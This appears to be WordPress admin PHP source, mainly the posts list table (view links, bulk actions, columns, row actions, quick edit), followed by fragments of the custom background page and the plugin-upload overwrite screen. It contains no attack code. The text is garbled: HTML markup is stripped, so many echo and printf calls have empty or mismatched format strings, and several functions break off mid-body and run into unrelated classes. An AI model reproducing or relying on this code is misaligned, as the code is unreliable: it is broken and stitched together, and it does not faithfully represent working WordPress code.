if ( isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'] ) {
$class = 'current';
}
$status_args = array(
'post_status' => $status_name,
'post_type' => $post_type,
);
$status_label = sprintf(
translate_nooped_plural( $status->label_count, $num_posts->$status_name ),
number_format_i18n( $num_posts->$status_name )
);
$status_links[ $status_name ] = array(
'url' => esc_url( add_query_arg( $status_args, 'edit.php' ) ),
'label' => $status_label,
'current' => isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'],
);
}
if ( ! empty( $this->sticky_posts_count ) ) {
$class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : '';
$sticky_args = array(
'post_type' => $post_type,
'show_sticky' => 1,
);
$sticky_inner_html = sprintf(
/* translators: %s: Number of posts. */
_nx(
'Sticky (%s)',
'Sticky (%s)',
$this->sticky_posts_count,
'posts'
),
number_format_i18n( $this->sticky_posts_count )
);
$sticky_link = array(
'sticky' => array(
'url' => esc_url( add_query_arg( $sticky_args, 'edit.php' ) ),
'label' => $sticky_inner_html,
'current' => ! empty( $_REQUEST['show_sticky'] ),
),
);
// Sticky comes after Publish, or if not listed, after All.
$split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ), true );
$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
}
return $this->get_views_links( $status_links );
}
/**
* @return array
*/
protected function get_bulk_actions() {
$actions = array();
$post_type_obj = get_post_type_object( $this->screen->post_type );
if ( current_user_can( $post_type_obj->cap->edit_posts ) ) {
if ( $this->is_trash ) {
$actions['untrash'] = __( 'Restore' );
} else {
$actions['edit'] = __( 'Edit' );
}
}
if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
$actions['delete'] = __( 'Delete permanently' );
} else {
$actions['trash'] = __( 'Move to Trash' );
}
}
return $actions;
}
/**
* Displays a categories drop-down for filtering on the Posts list table.
*
* @since 4.6.0
*
* @global int $cat Currently selected category.
*
* @param string $post_type Post type slug.
*/
protected function categories_dropdown( $post_type ) {
global $cat;
/**
* Filters whether to remove the 'Categories' drop-down from the post list table.
*
* @since 4.6.0
*
* @param bool $disable Whether to disable the categories drop-down. Default false.
* @param string $post_type Post type slug.
*/
if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) {
return;
}
if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
$dropdown_options = array(
'show_option_all' => get_taxonomy( 'category' )->labels->all_items,
'hide_empty' => 0,
'hierarchical' => 1,
'show_count' => 0,
'orderby' => 'name',
'selected' => $cat,
);
echo '';
wp_dropdown_categories( $dropdown_options );
}
}
/**
* Displays a formats drop-down for filtering items.
*
* @since 5.2.0
* @access protected
*
* @param string $post_type Post type slug.
*/
protected function formats_dropdown( $post_type ) {
/**
* Filters whether to remove the 'Formats' drop-down from the post list table.
*
* @since 5.2.0
* @since 5.5.0 The `$post_type` parameter was added.
*
* @param bool $disable Whether to disable the drop-down. Default false.
* @param string $post_type Post type slug.
*/
if ( apply_filters( 'disable_formats_dropdown', false, $post_type ) ) {
return;
}
// Return if the post type doesn't have post formats or if we're in the Trash.
if ( ! is_object_in_taxonomy( $post_type, 'post_format' ) || $this->is_trash ) {
return;
}
// Make sure the dropdown shows only formats with a post count greater than 0.
$used_post_formats = get_terms(
array(
'taxonomy' => 'post_format',
'hide_empty' => true,
)
);
// Return if there are no posts using formats.
if ( ! $used_post_formats ) {
return;
}
$displayed_post_format = isset( $_GET['post_format'] ) ? $_GET['post_format'] : '';
?>
months_dropdown( $this->screen->post_type );
$this->categories_dropdown( $this->screen->post_type );
$this->formats_dropdown( $this->screen->post_type );
/**
* Fires before the Filter button on the Posts and Pages list tables.
*
* The Filter button allows sorting by date and/or category on the
* Posts list table, and sorting by date on the Pages list table.
*
* @since 2.1.0
* @since 4.4.0 The `$post_type` parameter was added.
* @since 4.6.0 The `$which` parameter was added.
*
* @param string $post_type The post type slug.
* @param string $which The location of the extra table nav markup:
* 'top' or 'bottom' for WP_Posts_List_Table,
* 'bar' for WP_Media_List_Table.
*/
do_action( 'restrict_manage_posts', $this->screen->post_type, $which );
$output = ob_get_clean();
if ( ! empty( $output ) ) {
echo $output;
submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
}
}
if ( $this->is_trash && $this->has_items()
&& current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts )
) {
submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
}
?>
screen->post_type ) ? 'pages' : 'posts',
);
}
/**
* @return string[] Array of column titles keyed by their column name.
*/
public function get_columns() {
$post_type = $this->screen->post_type;
$posts_columns = array();
$posts_columns['cb'] = '';
/* translators: Posts screen column name. */
$posts_columns['title'] = _x( 'Title', 'column name' );
if ( post_type_supports( $post_type, 'author' ) ) {
$posts_columns['author'] = __( 'Author' );
}
$taxonomies = get_object_taxonomies( $post_type, 'objects' );
$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );
/**
* Filters the taxonomy columns in the Posts list table.
*
* The dynamic portion of the hook name, `$post_type`, refers to the post
* type slug.
*
* Possible hook names include:
*
* - `manage_taxonomies_for_post_columns`
* - `manage_taxonomies_for_page_columns`
*
* @since 3.5.0
*
* @param string[] $taxonomies Array of taxonomy names to show columns for.
* @param string $post_type The post type.
*/
$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );
foreach ( $taxonomies as $taxonomy ) {
if ( 'category' === $taxonomy ) {
$column_key = 'categories';
} elseif ( 'post_tag' === $taxonomy ) {
$column_key = 'tags';
} else {
$column_key = 'taxonomy-' . $taxonomy;
}
$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
}
$post_status = ! empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';
if ( post_type_supports( $post_type, 'comments' )
&& ! in_array( $post_status, array( 'pending', 'draft', 'future' ), true )
) {
$posts_columns['comments'] = sprintf(
'%2$s',
esc_attr__( 'Comments' ),
/* translators: Hidden accessibility text. */
__( 'Comments' )
);
}
$posts_columns['date'] = __( 'Date' );
if ( 'page' === $post_type ) {
/**
* Filters the columns displayed in the Pages list table.
*
* @since 2.5.0
*
* @param string[] $posts_columns An associative array of column headings.
*/
$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
} else {
/**
* Filters the columns displayed in the Posts list table.
*
* @since 1.5.0
*
* @param string[] $posts_columns An associative array of column headings.
* @param string $post_type The post type slug.
*/
$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
}
/**
* Filters the columns displayed in the Posts list table for a specific post type.
*
* The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `manage_post_posts_columns`
* - `manage_page_posts_columns`
*
* @since 3.0.0
*
* @param string[] $posts_columns An associative array of column headings.
*/
return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
}
/**
* @return array
*/
protected function get_sortable_columns() {
$post_type = $this->screen->post_type;
if ( 'page' === $post_type ) {
if ( isset( $_GET['orderby'] ) ) {
$title_orderby_text = __( 'Table ordered by Title.' );
} else {
$title_orderby_text = __( 'Table ordered by Hierarchical Menu Order and Title.' );
}
$sortables = array(
'title' => array( 'title', false, __( 'Title' ), $title_orderby_text, 'asc' ),
'parent' => array( 'parent', false ),
'comments' => array( 'comment_count', false, __( 'Comments' ), __( 'Table ordered by Comments.' ) ),
'date' => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ) ),
);
} else {
$sortables = array(
'title' => array( 'title', false, __( 'Title' ), __( 'Table ordered by Title.' ) ),
'parent' => array( 'parent', false ),
'comments' => array( 'comment_count', false, __( 'Comments' ), __( 'Table ordered by Comments.' ) ),
'date' => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ), 'desc' ),
);
}
// Custom Post Types: there's a filter for that, see get_column_info().
return $sortables;
}
/**
* Generates the list table rows.
*
* @since 3.1.0
*
* @global WP_Query $wp_query WordPress Query object.
* @global int $per_page
*
* @param array $posts
* @param int $level
*/
public function display_rows( $posts = array(), $level = 0 ) {
global $wp_query, $per_page;
if ( empty( $posts ) ) {
$posts = $wp_query->posts;
}
add_filter( 'the_title', 'esc_html' );
if ( $this->hierarchical_display ) {
$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
} else {
$this->_display_rows( $posts, $level );
}
}
/**
* @param array $posts
* @param int $level
*/
private function _display_rows( $posts, $level = 0 ) {
$post_type = $this->screen->post_type;
// Create array of post IDs.
$post_ids = array();
foreach ( $posts as $a_post ) {
$post_ids[] = $a_post->ID;
}
if ( post_type_supports( $post_type, 'comments' ) ) {
$this->comment_pending_count = get_pending_comments_num( $post_ids );
}
update_post_author_caches( $posts );
foreach ( $posts as $post ) {
$this->single_row( $post, $level );
}
}
/**
* @global wpdb $wpdb WordPress database abstraction object.
* @global WP_Post $post Global post object.
* @param array $pages
* @param int $pagenum
* @param int $per_page
*/
private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
global $wpdb;
$level = 0;
if ( ! $pages ) {
$pages = get_pages( array( 'sort_column' => 'menu_order' ) );
if ( ! $pages ) {
return;
}
}
/*
* Arrange pages into two parts: top level pages and children_pages.
* children_pages is two dimensional array. Example:
* children_pages[10][] contains all sub-pages whose parent is 10.
* It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
* If searching, ignore hierarchy and treat everything as top level
*/
if ( empty( $_REQUEST['s'] ) ) {
$top_level_pages = array();
$children_pages = array();
foreach ( $pages as $page ) {
// Catch and repair bad pages.
if ( $page->post_parent === $page->ID ) {
$page->post_parent = 0;
$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
clean_post_cache( $page );
}
if ( $page->post_parent > 0 ) {
$children_pages[ $page->post_parent ][] = $page;
} else {
$top_level_pages[] = $page;
}
}
$pages = &$top_level_pages;
}
$count = 0;
$start = ( $pagenum - 1 ) * $per_page;
$end = $start + $per_page;
$to_display = array();
foreach ( $pages as $page ) {
if ( $count >= $end ) {
break;
}
if ( $count >= $start ) {
$to_display[ $page->ID ] = $level;
}
++$count;
if ( isset( $children_pages ) ) {
$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
}
}
// If it is the last pagenum and there are orphaned pages, display them with paging as well.
if ( isset( $children_pages ) && $count < $end ) {
foreach ( $children_pages as $orphans ) {
foreach ( $orphans as $op ) {
if ( $count >= $end ) {
break;
}
if ( $count >= $start ) {
$to_display[ $op->ID ] = 0;
}
++$count;
}
}
}
$ids = array_keys( $to_display );
_prime_post_caches( $ids );
$_posts = array_map( 'get_post', $ids );
update_post_author_caches( $_posts );
if ( ! isset( $GLOBALS['post'] ) ) {
$GLOBALS['post'] = reset( $ids );
}
foreach ( $to_display as $page_id => $level ) {
echo "\t";
$this->single_row( $page_id, $level );
}
}
/**
* Displays the nested hierarchy of sub-pages together with paging
* support, based on a top level page ID.
*
* @since 3.1.0 (Standalone function exists since 2.6.0)
* @since 4.2.0 Added the `$to_display` parameter.
*
* @param array $children_pages
* @param int $count
* @param int $parent_page
* @param int $level
* @param int $pagenum
* @param int $per_page
* @param array $to_display List of pages to be displayed. Passed by reference.
*/
private function _page_rows( &$children_pages, &$count, $parent_page, $level, $pagenum, $per_page, &$to_display ) {
if ( ! isset( $children_pages[ $parent_page ] ) ) {
return;
}
$start = ( $pagenum - 1 ) * $per_page;
$end = $start + $per_page;
foreach ( $children_pages[ $parent_page ] as $page ) {
if ( $count >= $end ) {
break;
}
// If the page starts in a subtree, print the parents.
if ( $count === $start && $page->post_parent > 0 ) {
$my_parents = array();
$my_parent = $page->post_parent;
while ( $my_parent ) {
// Get the ID from the list or the attribute if my_parent is an object.
$parent_id = $my_parent;
if ( is_object( $my_parent ) ) {
$parent_id = $my_parent->ID;
}
$my_parent = get_post( $parent_id );
$my_parents[] = $my_parent;
if ( ! $my_parent->post_parent ) {
break;
}
$my_parent = $my_parent->post_parent;
}
$num_parents = count( $my_parents );
while ( $my_parent = array_pop( $my_parents ) ) {
$to_display[ $my_parent->ID ] = $level - $num_parents;
--$num_parents;
}
}
if ( $count >= $start ) {
$to_display[ $page->ID ] = $level;
}
++$count;
$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
}
unset( $children_pages[ $parent_page ] ); // Required in order to keep track of orphans.
}
/**
* Handles the checkbox column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Post $item The current WP_Post object.
*/
public function column_cb( $item ) {
// Restores the more descriptive, specific name for use within this method.
$post = $item;
$show = current_user_can( 'edit_post', $post->ID );
/**
* Filters whether to show the bulk edit checkbox for a post in its list table.
*
* By default the checkbox is only shown if the current user can edit the post.
*
* @since 5.7.0
*
* @param bool $show Whether to show the checkbox.
* @param WP_Post $post The current WP_Post object.
*/
if ( apply_filters( 'wp_list_table_show_post_checkbox', $show, $post ) ) :
?>
';
echo $this->column_title( $post );
echo $this->handle_row_actions( $post, 'title', $primary );
echo '';
}
/**
* Handles the title column output.
*
* @since 4.3.0
*
* @global string $mode List table view mode.
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_title( $post ) {
global $mode;
if ( $this->hierarchical_display ) {
if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) {
// Sent level 0 by accident, by default, or because we don't know the actual level.
$find_main_page = (int) $post->post_parent;
while ( $find_main_page > 0 ) {
$parent = get_post( $find_main_page );
if ( is_null( $parent ) ) {
break;
}
++$this->current_level;
$find_main_page = (int) $parent->post_parent;
if ( ! isset( $parent_name ) ) {
/** This filter is documented in wp-includes/post-template.php */
$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
}
}
}
}
$can_edit_post = current_user_can( 'edit_post', $post->ID );
if ( $can_edit_post && 'trash' !== $post->post_status ) {
$lock_holder = wp_check_post_lock( $post->ID );
if ( $lock_holder ) {
$lock_holder = get_userdata( $lock_holder );
$locked_avatar = get_avatar( $lock_holder->ID, 18 );
/* translators: %s: User's display name. */
$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
} else {
$locked_avatar = '';
$locked_text = '';
}
echo '
' . $locked_avatar . '' . $locked_text . "
\n";
}
$pad = str_repeat( '— ', $this->current_level );
echo '';
$title = _draft_or_post_title();
if ( $can_edit_post && 'trash' !== $post->post_status ) {
printf(
'%s%s',
get_edit_post_link( $post->ID ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( '“%s” (Edit)' ), $title ) ),
$pad,
$title
);
} else {
printf(
'%s%s',
$pad,
$title
);
}
_post_states( $post );
if ( isset( $parent_name ) ) {
$post_type_object = get_post_type_object( $post->post_type );
echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
}
echo "\n";
if ( 'excerpt' === $mode
&& ! is_post_type_hierarchical( $this->screen->post_type )
&& current_user_can( 'read_post', $post->ID )
) {
if ( post_password_required( $post ) ) {
echo '' . esc_html( get_the_excerpt() ) . '';
} else {
echo esc_html( get_the_excerpt() );
}
}
/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_post_type', true, $post->post_type );
if ( $quick_edit_enabled ) {
get_inline_data( $post );
}
}
/**
* Handles the post date column output.
*
* @since 4.3.0
*
* @global string $mode List table view mode.
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_date( $post ) {
global $mode;
if ( '0000-00-00 00:00:00' === $post->post_date ) {
$t_time = __( 'Unpublished' );
$time_diff = 0;
} else {
$t_time = sprintf(
/* translators: 1: Post date, 2: Post time. */
__( '%1$s at %2$s' ),
/* translators: Post date format. See https://www.php.net/manual/datetime.format.php */
get_the_time( __( 'Y/m/d' ), $post ),
/* translators: Post time format. See https://www.php.net/manual/datetime.format.php */
get_the_time( __( 'g:i a' ), $post )
);
$time = get_post_timestamp( $post );
$time_diff = time() - $time;
}
if ( 'publish' === $post->post_status ) {
$status = __( 'Published' );
} elseif ( 'future' === $post->post_status ) {
if ( $time_diff > 0 ) {
$status = '' . __( 'Missed schedule' ) . '';
} else {
$status = __( 'Scheduled' );
}
} else {
$status = __( 'Last Modified' );
}
/**
* Filters the status text of the post.
*
* @since 4.8.0
*
* @param string $status The status text.
* @param WP_Post $post Post object.
* @param string $column_name The column name.
* @param string $mode The list display mode ('excerpt' or 'list').
*/
$status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode );
if ( $status ) {
echo $status . ' ';
}
/**
* Filters the published, scheduled, or unpublished time of the post.
*
* @since 2.5.1
* @since 5.5.0 Removed the difference between 'excerpt' and 'list' modes.
* The published time and date are both displayed now,
* which is equivalent to the previous 'excerpt' mode.
*
* @param string $t_time The published time.
* @param WP_Post $post Post object.
* @param string $column_name The column name.
* @param string $mode The list display mode ('excerpt' or 'list').
*/
echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode );
}
/**
* Handles the comments column output.
*
* @since 4.3.0
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_comments( $post ) {
?>
$post->post_type,
'author' => get_the_author_meta( 'ID' ),
);
echo $this->get_edit_link( $args, get_the_author() );
}
/**
* Handles the default column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Post $item The current WP_Post object.
* @param string $column_name The current column name.
*/
public function column_default( $item, $column_name ) {
// Restores the more descriptive, specific name for use within this method.
$post = $item;
if ( 'categories' === $column_name ) {
$taxonomy = 'category';
} elseif ( 'tags' === $column_name ) {
$taxonomy = 'post_tag';
} elseif ( str_starts_with( $column_name, 'taxonomy-' ) ) {
$taxonomy = substr( $column_name, 9 );
} else {
$taxonomy = false;
}
if ( $taxonomy ) {
$taxonomy_object = get_taxonomy( $taxonomy );
$terms = get_the_terms( $post->ID, $taxonomy );
if ( is_array( $terms ) ) {
$term_links = array();
foreach ( $terms as $t ) {
$posts_in_term_qv = array();
if ( 'post' !== $post->post_type ) {
$posts_in_term_qv['post_type'] = $post->post_type;
}
if ( $taxonomy_object->query_var ) {
$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
} else {
$posts_in_term_qv['taxonomy'] = $taxonomy;
$posts_in_term_qv['term'] = $t->slug;
}
$label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) );
$term_links[] = $this->get_edit_link( $posts_in_term_qv, $label );
}
/**
* Filters the links in `$taxonomy` column of edit.php.
*
* @since 5.2.0
*
* @param string[] $term_links Array of term editing links.
* @param string $taxonomy Taxonomy name.
* @param WP_Term[] $terms Array of term objects appearing in the post row.
*/
$term_links = apply_filters( 'post_column_taxonomy_links', $term_links, $taxonomy, $terms );
echo implode( wp_get_list_item_separator(), $term_links );
} else {
echo '—' . $taxonomy_object->labels->no_terms . '';
}
return;
}
if ( is_post_type_hierarchical( $post->post_type ) ) {
/**
* Fires in each custom column on the Posts list table.
*
* This hook only fires if the current post type is hierarchical,
* such as pages.
*
* @since 2.5.0
*
* @param string $column_name The name of the column to display.
* @param int $post_id The current post ID.
*/
do_action( 'manage_pages_custom_column', $column_name, $post->ID );
} else {
/**
* Fires in each custom column in the Posts list table.
*
* This hook only fires if the current post type is non-hierarchical,
* such as posts.
*
* @since 1.5.0
*
* @param string $column_name The name of the column to display.
* @param int $post_id The current post ID.
*/
do_action( 'manage_posts_custom_column', $column_name, $post->ID );
}
/**
* Fires for each custom column of a specific post type in the Posts list table.
*
* The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
*
* Possible hook names include:
*
* - `manage_post_posts_custom_column`
* - `manage_page_posts_custom_column`
*
* @since 3.1.0
*
* @param string $column_name The name of the column to display.
* @param int $post_id The current post ID.
*/
do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
}
/**
* @global WP_Post $post Global post object.
*
* @param int|WP_Post $post
* @param int $level
*/
public function single_row( $post, $level = 0 ) {
$global_post = get_post();
$post = get_post( $post );
$this->current_level = $level;
$GLOBALS['post'] = $post;
setup_postdata( $post );
$classes = 'iedit author-' . ( get_current_user_id() === (int) $post->post_author ? 'self' : 'other' );
$lock_holder = wp_check_post_lock( $post->ID );
if ( $lock_holder ) {
$classes .= ' wp-locked';
}
if ( $post->post_parent ) {
$count = count( get_post_ancestors( $post->ID ) );
$classes .= ' level-' . $count;
} else {
$classes .= ' level-0';
}
?>
single_row_columns( $post ); ?>
post_type );
$can_edit_post = current_user_can( 'edit_post', $post->ID );
$actions = array();
$title = _draft_or_post_title();
if ( $can_edit_post && 'trash' !== $post->post_status ) {
$actions['edit'] = sprintf(
'%s',
get_edit_post_link( $post->ID ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Edit “%s”' ), $title ) ),
__( 'Edit' )
);
/**
* Filters whether Quick Edit should be enabled for the given post type.
*
* @since 6.4.0
*
* @param bool $enable Whether to enable the Quick Edit functionality. Default true.
* @param string $post_type Post type name.
*/
$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_post_type', true, $post->post_type );
if ( $quick_edit_enabled && 'wp_block' !== $post->post_type ) {
$actions['inline hide-if-no-js'] = sprintf(
'',
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Quick edit “%s” inline' ), $title ) ),
__( 'Quick Edit' )
);
}
}
if ( current_user_can( 'delete_post', $post->ID ) ) {
if ( 'trash' === $post->post_status ) {
$actions['untrash'] = sprintf(
'%s',
wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Restore “%s” from the Trash' ), $title ) ),
__( 'Restore' )
);
} elseif ( EMPTY_TRASH_DAYS ) {
$actions['trash'] = sprintf(
'%s',
get_delete_post_link( $post->ID ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Move “%s” to the Trash' ), $title ) ),
_x( 'Trash', 'verb' )
);
}
if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) {
$actions['delete'] = sprintf(
'%s',
get_delete_post_link( $post->ID, '', true ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Delete “%s” permanently' ), $title ) ),
__( 'Delete Permanently' )
);
}
}
if ( is_post_type_viewable( $post_type_object ) ) {
if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ), true ) ) {
if ( $can_edit_post ) {
$preview_link = get_preview_post_link( $post );
$actions['view'] = sprintf(
'%s',
esc_url( $preview_link ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Preview “%s”' ), $title ) ),
__( 'Preview' )
);
}
} elseif ( 'trash' !== $post->post_status ) {
$actions['view'] = sprintf(
'%s',
get_permalink( $post->ID ),
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'View “%s”' ), $title ) ),
__( 'View' )
);
}
}
if ( 'wp_block' === $post->post_type ) {
$actions['export'] = sprintf(
'',
$post->ID,
/* translators: %s: Post title. */
esc_attr( sprintf( __( 'Export “%s” as JSON' ), $title ) ),
__( 'Export as JSON' )
);
}
if ( is_post_type_hierarchical( $post->post_type ) ) {
/**
* Filters the array of row action links on the Pages list table.
*
* The filter is evaluated only for hierarchical post types.
*
* @since 2.8.0
*
* @param string[] $actions An array of row action links. Defaults are
* 'Edit', 'Quick Edit', 'Restore', 'Trash',
* 'Delete Permanently', 'Preview', and 'View'.
* @param WP_Post $post The post object.
*/
$actions = apply_filters( 'page_row_actions', $actions, $post );
} else {
/**
* Filters the array of row action links on the Posts list table.
*
* The filter is evaluated only for non-hierarchical post types.
*
* @since 2.8.0
*
* @param string[] $actions An array of row action links. Defaults are
* 'Edit', 'Quick Edit', 'Restore', 'Trash',
* 'Delete Permanently', 'Preview', and 'View'.
* @param WP_Post $post The post object.
*/
$actions = apply_filters( 'post_row_actions', $actions, $post );
}
return $this->row_actions( $actions );
}
/**
* Outputs the hidden row displayed when inline editing
*
* @since 3.1.0
*
* @global string $mode List table view mode.
*/
public function inline_edit() {
global $mode;
$screen = $this->screen;
$post = get_default_post_to_edit( $screen->post_type );
$post_type_object = get_post_type_object( $screen->post_type );
$taxonomy_names = get_object_taxonomies( $screen->post_type );
$hierarchical_taxonomies = array();
$flat_taxonomies = array();
foreach ( $taxonomy_names as $taxonomy_name ) {
$taxonomy = get_taxonomy( $taxonomy_name );
$show_in_quick_edit = $taxonomy->show_in_quick_edit;
/**
* Filters whether the current taxonomy should be shown in the Quick Edit panel.
*
* @since 4.2.0
*
* @param bool $show_in_quick_edit Whether to show the current taxonomy in Quick Edit.
* @param string $taxonomy_name Taxonomy name.
* @param string $post_type Post type of current Quick Edit post.
*/
if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) {
continue;
}
if ( $taxonomy->hierarchical ) {
$hierarchical_taxonomies[] = $taxonomy;
} else {
$flat_taxonomies[] = $taxonomy;
}
}
$m = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list';
$can_publish = current_user_can( $post_type_object->cap->publish_posts );
$core_columns = array(
'cb' => true,
'date' => true,
'title' => true,
'categories' => true,
'tags' => true,
'comments' => true,
'author' => true,
);
?>
admin_header_callback = $admin_header_callback;
$this->admin_image_div_callback = $admin_image_div_callback;
add_action( 'admin_menu', array( $this, 'init' ) );
add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) );
// Unused since 3.5.0.
add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );
}
/**
* Sets up the hooks for the Custom Background admin page.
*
* @since 3.0.0
*/
public function init() {
$page = add_theme_page(
_x( 'Background', 'custom background' ),
_x( 'Background', 'custom background' ),
'edit_theme_options',
'custom-background',
array( $this, 'admin_page' )
);
if ( ! $page ) {
return;
}
add_action( "load-{$page}", array( $this, 'admin_load' ) );
add_action( "load-{$page}", array( $this, 'take_action' ), 49 );
add_action( "load-{$page}", array( $this, 'handle_upload' ), 49 );
if ( $this->admin_header_callback ) {
add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
}
}
/**
* Sets up the enqueue for the CSS & JavaScript files.
*
* @since 3.0.0
*/
public function admin_load() {
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'You can customize the look of your site without touching any of your theme’s code by using a custom background. Your background can be an image or a color.' ) . '
' .
'
' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the “Choose Image” button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '
' .
'
' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. “#ff0000” for red, or by choosing a color using the color picker.' ) . '
' .
'
' . __( 'Do not forget to click on the Save Changes button when you are finished.' ) . '
';
/**
* Filters the compare table output for overwriting a plugin package on upload.
*
* @since 5.5.0
*
* @param string $table The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
* @param array $current_plugin_data Array with current plugin data.
* @param array $new_plugin_data Array with uploaded plugin data.
*/
echo apply_filters( 'install_plugin_overwrite_comparison', $table, $current_plugin_data, $new_plugin_data );
$install_actions = array();
$can_update = true;
$blocked_message = '
' . esc_html__( 'The plugin cannot be updated due to the following:' ) . '
';
$blocked_message .= '
';
$requires_php = isset( $new_plugin_data['RequiresPHP'] ) ? $new_plugin_data['RequiresPHP'] : null;
$requires_wp = isset( $new_plugin_data['RequiresWP'] ) ? $new_plugin_data['RequiresWP'] : null;
if ( ! is_php_version_compatible( $requires_php ) ) {
$error = sprintf(
/* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */
__( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ),
PHP_VERSION,
$requires_php
);
$blocked_message .= '
' . esc_html( $error ) . '
';
$can_update = false;
}
if ( ! is_wp_version_compatible( $requires_wp ) ) {
$error = sprintf(
/* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */
__( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ),
esc_html( wp_get_wp_version() ),
$requires_wp
);
$blocked_message .= '
' . esc_html( $error ) . '
';
$can_update = false;
}
$blocked_message .= '
';
if ( $can_update ) {
if ( $this->is_downgrading ) {
$warning = sprintf(
/* translators: %s: Documentation URL. */
__( 'You are uploading an older version of a current plugin. You can continue to install the older version, but be sure to back up your database and files first.' ),
__( 'https://developer.wordpress.org/advanced-administration/security/backup/' )
);
} else {
$warning = sprintf(
/* translators: %s: Documentation URL. */
__( 'You are updating a plugin. Be sure to back up your database and files first.' ),
__( 'https://developer.wordpress.org/advanced-administration/security/backup/' )
);
}
echo '
' . $warning . '
';
$overwrite = $this->is_downgrading ? 'downgrade-plugin' : 'update-plugin';
$install_actions['overwrite_plugin'] = sprintf(
'%s',
wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'plugin-upload' ),
_x( 'Replace current with uploaded', 'plugin' )
);
} else {
echo $blocked_message;
}
$cancel_url = add_query_arg( 'action', 'upload-plugin-cancel-overwrite', $this->url );
$install_actions['plugins_page'] = sprintf(
'%s',
wp_nonce_url( $cancel_url, 'plugin-upload-cancel-overwrite' ),
__( 'Cancel and go back' )
);
/**
* Filters the list of action links available following a single plugin installation failure
* when overwriting is allowed.
*
* @since 5.5.0
*
* @param string[] $install_actions Array of plugin action links.
* @param object $api Object containing WordPress.org API plugin data.
